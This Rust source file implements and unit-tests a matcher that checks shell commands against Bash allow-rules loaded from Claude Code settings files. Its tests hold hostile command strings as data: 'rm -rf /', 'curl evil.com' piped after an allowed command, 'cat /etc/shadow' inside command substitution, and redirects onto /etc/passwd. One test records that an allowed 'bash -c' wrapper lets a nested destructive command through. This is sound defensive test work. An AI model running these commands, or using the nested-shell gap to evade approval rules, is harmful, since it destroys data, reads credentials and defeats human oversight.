1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::parse::Segment;
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
13 let mut patterns = Matcher {
14 exact: HashSet::new(),
15 globs: Vec::new(),
16 };
17
18 if let Some(home) = std::env::var_os("HOME") {
19 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
20 }
21
22 if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
23 let base = Path::new(&project_dir).join(".claude");
24 patterns.load_file(&base.join("settings.json"));
25 patterns.load_file(&base.join("settings.local.json"));
26 }
27
28 patterns
29 }
30
31 fn load_file(&mut self, path: &Path) {
32 let Ok(contents) = std::fs::read_to_string(path) else {
33 return;
34 };
35 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
36 return;
37 };
38
39 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
40 for entry in arr.iter().filter_map(|e| e.as_str()) {
41 self.add_pattern(entry);
42 }
43 }
44
45 if let Some(arr) = value
46 .get("permissions")
47 .and_then(|v| v.get("allow"))
48 .and_then(|v| v.as_array())
49 {
50 for entry in arr.iter().filter_map(|e| e.as_str()) {
51 self.add_pattern(entry);
52 }
53 }
54 }
55
56 fn add_pattern(&mut self, entry: &str) {
57 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
58 return;
59 };
60 if inner.is_empty() {
61 return;
62 }
63 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
64 format!("{prefix} *")
65 } else {
66 inner.to_string()
67 };
68 if normalized.contains('*') {
69 self.globs
70 .push(normalized.split('*').map(String::from).collect());
71 } else {
72 self.exact.insert(normalized);
73 }
74 }
75
76 pub fn matches(&self, segment: &Segment) -> bool {
77 let normalized = segment.strip_env_prefix().strip_fd_redirects();
78 let normalized_str = normalized.as_str().trim();
79 if normalized_str.is_empty() {
80 return false;
81 }
82 if self.exact.contains(normalized_str) {
83 return true;
84 }
85 self.globs
86 .iter()
87 .any(|parts| glob_matches(parts, normalized_str))
88 }
89
90 pub fn is_empty(&self) -> bool {
91 self.exact.is_empty() && self.globs.is_empty()
92 }
93}
94
95fn glob_matches(parts: &[String], text: &str) -> bool {
96 let first = &parts[0];
97 let last = &parts[parts.len() - 1];
98
99 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
101 let prefix = &first[..first.len() - 1];
102 return text == prefix || text.starts_with(first.as_str());
103 }
104
105 if !text.starts_with(first.as_str()) {
106 return false;
107 }
108 if !text.ends_with(last.as_str()) {
109 return false;
110 }
111 let mut pos = first.len();
112 let end = text.len() - last.len();
113 if pos > end {
114 return false;
115 }
116 for part in &parts[1..parts.len() - 1] {
117 match text[pos..end].find(part.as_str()) {
118 Some(idx) => pos += idx + part.len(),
119 None => return false,
120 }
121 }
122 pos <= end
123}
124
125#[cfg(test)]
126mod tests {
127 use super::*;
128 use std::fs;
129
130 use crate::parse::{CommandLine, Segment};
131
132 fn empty() -> Matcher {
133 Matcher {
134 exact: HashSet::new(),
135 globs: Vec::new(),
136 }
137 }
138
139 fn seg(s: &str) -> Segment {
140 let segs = CommandLine::new(s).segments();
141 assert_eq!(segs.len(), 1, "expected single segment: {s}");
142 segs.into_iter().next().unwrap()
143 }
144
145 #[test]
146 fn parse_exact_pattern() {
147 let mut p = empty();
148 p.add_pattern("Bash(npm test)");
149 assert!(p.exact.contains("npm test"));
150 assert!(p.globs.is_empty());
151 }
152
153 #[test]
154 fn parse_legacy_colon_star() {
155 let mut p = empty();
156 p.add_pattern("Bash(npm run:*)");
157 assert!(p.exact.is_empty());
158 assert_eq!(p.globs.len(), 1);
159 }
160
161 #[test]
162 fn parse_space_star() {
163 let mut p = empty();
164 p.add_pattern("Bash(npm run *)");
165 assert!(p.exact.is_empty());
166 assert_eq!(p.globs.len(), 1);
167 }
168
169 #[test]
170 fn parse_star_no_space() {
171 let mut p = empty();
172 p.add_pattern("Bash(ls*)");
173 assert_eq!(p.globs.len(), 1);
174 }
175
176 #[test]
177 fn parse_star_at_beginning() {
178 let mut p = empty();
179 p.add_pattern("Bash(* --version)");
180 assert_eq!(p.globs.len(), 1);
181 }
182
183 #[test]
184 fn parse_star_in_middle() {
185 let mut p = empty();
186 p.add_pattern("Bash(git * main)");
187 assert_eq!(p.globs.len(), 1);
188 }
189
190 #[test]
191 fn parse_non_bash_skipped() {
192 let mut p = empty();
193 p.add_pattern("WebFetch");
194 p.add_pattern("XcodeBuildMCP");
195 assert!(p.is_empty());
196 }
197
198 #[test]
199 fn parse_empty_bash_skipped() {
200 let mut p = empty();
201 p.add_pattern("Bash()");
202 assert!(p.is_empty());
203 }
204
205 #[test]
206 fn parse_empty_prefix_skipped() {
207 let mut p = empty();
208 p.add_pattern("Bash(:*)");
209 assert!(p.exact.is_empty());
210 assert_eq!(p.globs.len(), 1);
211 }
212
213 #[test]
214 fn match_exact() {
215 let mut p = empty();
216 p.add_pattern("Bash(npm test)");
217 assert!(p.matches(&seg("npm test")));
218 assert!(!p.matches(&seg("npm test --watch")));
219 }
220
221 #[test]
222 fn match_space_star_word_boundary() {
223 let mut p = empty();
224 p.add_pattern("Bash(ls *)");
225 assert!(p.matches(&seg("ls -la")));
226 assert!(p.matches(&seg("ls foo")));
227 assert!(!p.matches(&seg("lsof")));
228 }
229
230 #[test]
231 fn match_star_no_space_no_boundary() {
232 let mut p = empty();
233 p.add_pattern("Bash(ls*)");
234 assert!(p.matches(&seg("ls -la")));
235 assert!(p.matches(&seg("lsof")));
236 }
237
238 #[test]
239 fn match_legacy_colon_star_word_boundary() {
240 let mut p = empty();
241 p.add_pattern("Bash(npm run:*)");
242 assert!(p.matches(&seg("npm run build")));
243 assert!(p.matches(&seg("npm run test")));
244 assert!(!p.matches(&seg("npm running")));
245 assert!(!p.matches(&seg("npm install")));
246 }
247
248 #[test]
249 fn match_star_at_beginning() {
250 let mut p = empty();
251 p.add_pattern("Bash(* --version)");
252 assert!(p.matches(&seg("npm --version")));
253 assert!(p.matches(&seg("cargo --version")));
254 assert!(!p.matches(&seg("npm --help")));
255 }
256
257 #[test]
258 fn match_star_in_middle() {
259 let mut p = empty();
260 p.add_pattern("Bash(git * main)");
261 assert!(p.matches(&seg("git checkout main")));
262 assert!(p.matches(&seg("git merge main")));
263 assert!(!p.matches(&seg("git checkout develop")));
264 }
265
266 #[test]
267 fn match_env_prefix_stripped() {
268 let mut p = empty();
269 p.add_pattern("Bash(bundle install)");
270 assert!(p.matches(&seg("RACK_ENV=test bundle install")));
271 }
272
273 #[test]
274 fn match_fd_redirect_stripped() {
275 let mut p = empty();
276 p.add_pattern("Bash(npm test)");
277 assert!(p.matches(&seg("npm test 2>&1")));
278 }
279
280 #[test]
281 fn match_fd_redirect_with_glob() {
282 let mut p = empty();
283 p.add_pattern("Bash(npm run *)");
284 assert!(p.matches(&seg("npm run test 2>&1")));
285 }
286
287 #[test]
288 fn match_empty_segment() {
289 let mut p = empty();
290 p.add_pattern("Bash(npm test)");
291 let empty_seg = Segment::from_words(&[] as &[&str]);
292 assert!(!p.matches(&empty_seg));
293 }
294
295 #[test]
296 fn empty_patterns_match_nothing() {
297 let p = empty();
298 assert!(!p.matches(&seg("anything")));
299 }
300
301 #[test]
302 fn match_bare_star_matches_everything() {
303 let mut p = empty();
304 p.add_pattern("Bash(*)");
305 assert!(p.matches(&seg("anything at all")));
306 assert!(p.matches(&seg("rm -rf /")));
307 }
308
309 #[test]
310 fn unsafe_syntax_not_bypassed_by_match() {
311 let mut p = empty();
312 p.add_pattern("Bash(./script.sh *)");
313 let segment = seg("./script.sh > /etc/passwd");
314 assert!(segment.has_unsafe_shell_syntax());
315 let covered = crate::is_safe(&segment)
316 || (!segment.has_unsafe_shell_syntax() && p.matches(&segment));
317 assert!(!covered);
318 }
319
320 #[test]
321 fn command_substitution_not_bypassed_by_match() {
322 let mut p = empty();
323 p.add_pattern("Bash(./script.sh *)");
324 let segment = seg("./script.sh $(rm -rf /)");
325 let covered = crate::is_safe(&segment)
326 || (!segment.has_unsafe_shell_syntax() && p.matches(&segment));
327 assert!(!covered);
328 }
329
330 #[test]
331 fn mixed_chain_safe_plus_settings() {
332 let mut p = empty();
333 p.add_pattern("Bash(./generate-docs.sh)");
334 let command = "cargo test && ./generate-docs.sh";
335 let segments = CommandLine::new(command).segments();
336 let all_covered = segments.iter().all(|s| {
337 crate::is_safe(s)
338 || (!s.has_unsafe_shell_syntax() && p.matches(s))
339 });
340 assert!(all_covered);
341 }
342
343 #[test]
344 fn mixed_chain_safe_plus_unapproved_denied() {
345 let mut p = empty();
346 p.add_pattern("Bash(./generate-docs.sh)");
347 let command = "cargo test && rm -rf /";
348 let segments = CommandLine::new(command).segments();
349 let all_covered = segments.iter().all(|s| {
350 crate::is_safe(s)
351 || (!s.has_unsafe_shell_syntax() && p.matches(s))
352 });
353 assert!(!all_covered);
354 }
355
356 fn is_covered(segment: &Segment, patterns: &Matcher) -> bool {
357 crate::is_safe(segment)
358 || (!segment.has_unsafe_shell_syntax() && patterns.matches(segment))
359 }
360
361 #[test]
362 fn glob_does_not_cross_chain_boundary() {
363 let mut p = empty();
364 p.add_pattern("Bash(cargo test *)");
365 let command = "cargo test --release && rm -rf /";
366 let segments = CommandLine::new(command).segments();
367 assert_eq!(segments.len(), 2);
368 assert!(p.matches(&segments[0]));
369 assert!(!p.matches(&segments[1]));
370 assert!(!segments.iter().all(|s| is_covered(s, &p)));
371 }
372
373 #[test]
374 fn glob_does_not_cross_pipe_boundary() {
375 let mut p = empty();
376 p.add_pattern("Bash(safe-cmd *)");
377 let command = "safe-cmd arg | curl evil.com";
378 let segments = CommandLine::new(command).segments();
379 assert_eq!(segments.len(), 2);
380 assert!(!segments.iter().all(|s| is_covered(s, &p)));
381 }
382
383 #[test]
384 fn glob_does_not_cross_semicolon_boundary() {
385 let mut p = empty();
386 p.add_pattern("Bash(safe-cmd *)");
387 let command = "safe-cmd arg; rm -rf /";
388 let segments = CommandLine::new(command).segments();
389 assert_eq!(segments.len(), 2);
390 assert!(!segments.iter().all(|s| is_covered(s, &p)));
391 }
392
393 #[test]
394 fn bare_star_blocked_by_unsafe_syntax_redirect() {
395 let mut p = empty();
396 p.add_pattern("Bash(*)");
397 assert!(p.matches(&seg("echo > /etc/passwd")));
398 assert!(!is_covered(&seg("echo > /etc/passwd"), &p));
399 }
400
401 #[test]
402 fn bare_star_blocked_by_unsafe_syntax_backtick() {
403 let mut p = empty();
404 p.add_pattern("Bash(*)");
405 assert!(!is_covered(&seg("echo `rm -rf /`"), &p));
406 }
407
408 #[test]
409 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
410 let mut p = empty();
411 p.add_pattern("Bash(*)");
412 assert!(!is_covered(&seg("echo $(cat /etc/shadow)"), &p));
413 }
414
415 #[test]
416 fn nested_shell_not_recursively_validated_by_settings() {
417 let mut p = empty();
418 p.add_pattern("Bash(bash *)");
419 let segment = seg("bash -c 'safe-cmd && rm -rf /'");
420 assert!(!crate::is_safe(&segment));
421 assert!(!segment.has_unsafe_shell_syntax());
422 assert!(is_covered(&segment, &p));
423 }
424
425 #[test]
426 fn nested_shell_redirect_still_blocked() {
427 let mut p = empty();
428 p.add_pattern("Bash(bash *)");
429 let segment = seg("bash -c 'echo hello' > /tmp/pwned");
430 assert!(segment.has_unsafe_shell_syntax());
431 assert!(!is_covered(&segment, &p));
432 }
433
434 #[test]
435 fn quoted_operators_stay_as_one_segment() {
436 let mut p = empty();
437 p.add_pattern("Bash(./script *)");
438 let command = "./script 'arg && rm -rf /'";
439 let segments = CommandLine::new(command).segments();
440 assert_eq!(segments.len(), 1);
441 assert!(is_covered(&segments[0], &p));
442 }
443
444 #[test]
445 fn load_file_nonexistent() {
446 let mut p = empty();
447 p.load_file(Path::new("/nonexistent/path/settings.json"));
448 assert!(p.is_empty());
449 }
450
451 #[test]
452 fn load_file_malformed_json() {
453 let dir = tempfile::tempdir().unwrap();
454 let path = dir.path().join("settings.json");
455 fs::write(&path, "not json{{{").unwrap();
456 let mut p = empty();
457 p.load_file(&path);
458 assert!(p.is_empty());
459 }
460
461 #[test]
462 fn load_file_approved_commands() {
463 let dir = tempfile::tempdir().unwrap();
464 let path = dir.path().join("settings.json");
465 fs::write(
466 &path,
467 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
468 )
469 .unwrap();
470 let mut p = empty();
471 p.load_file(&path);
472 assert!(p.matches(&seg("npm test")));
473 assert!(p.matches(&seg("npm run build")));
474 assert!(!p.matches(&seg("curl evil.com")));
475 }
476
477 #[test]
478 fn load_file_permissions_allow() {
479 let dir = tempfile::tempdir().unwrap();
480 let path = dir.path().join("settings.json");
481 fs::write(
482 &path,
483 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
484 )
485 .unwrap();
486 let mut p = empty();
487 p.load_file(&path);
488 assert!(p.matches(&seg("cargo test")));
489 assert!(p.matches(&seg("cargo clippy -- -D warnings")));
490 }
491
492 #[test]
493 fn load_file_both_fields() {
494 let dir = tempfile::tempdir().unwrap();
495 let path = dir.path().join("settings.json");
496 fs::write(
497 &path,
498 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
499 )
500 .unwrap();
501 let mut p = empty();
502 p.load_file(&path);
503 assert!(p.matches(&seg("npm test")));
504 assert!(p.matches(&seg("cargo test --release")));
505 }
506}